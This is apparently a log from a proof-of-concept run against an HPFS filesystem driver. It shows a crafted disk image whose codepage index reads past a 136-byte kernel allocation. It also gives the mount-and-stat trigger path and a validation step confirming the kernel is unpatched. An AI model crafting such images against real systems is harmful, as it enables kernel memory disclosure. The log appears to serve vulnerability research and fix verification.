[craft] wrote oracle.img  (262144 bytes)
[craft] sp_cpinum=1  -> kmalloc(1*136) = 136-byte hpm_cpdblk
[craft] dirent.de_cpid=0xff -> hpm_cpdblk[255] = +34680 bytes from base
[craft]   OOB read at +34813 bytes (past the 136-byte alloc) on lookup
[craft] trigger: mount image, then 'stat /mnt/x' (any name) -> VOP_LOOKUP
[craft]   -> hpfs_genlookupbyname -> hpfs_cmpfname -> hpfs_toupper OOB
[validate] attached oracle.img -> /dev/vn5
[validate] mounted
[validate] probing: stat '/mnt/df0864v/€€€€'
[validate] RESULT: NO MATCH (ENOENT)
[validate]   -> cp was NOT clamped (OOB), b_upcase_OOB[0]!=b_upcase_OOB[0x7F]
[validate]   -> this is the UNFIXED behavior
[validate] directory listing:
total 4
drwxr-xr-x  1 root  wheel  0 Jan  1  1970 .
drwxr-xr-x  1 root  wheel  0 Jul 11 17:29 ..
-rwxr-xr-x  1 root  wheel  0 Jan  1  1970 ÿÿÿÿ
VALIDATE_RC=0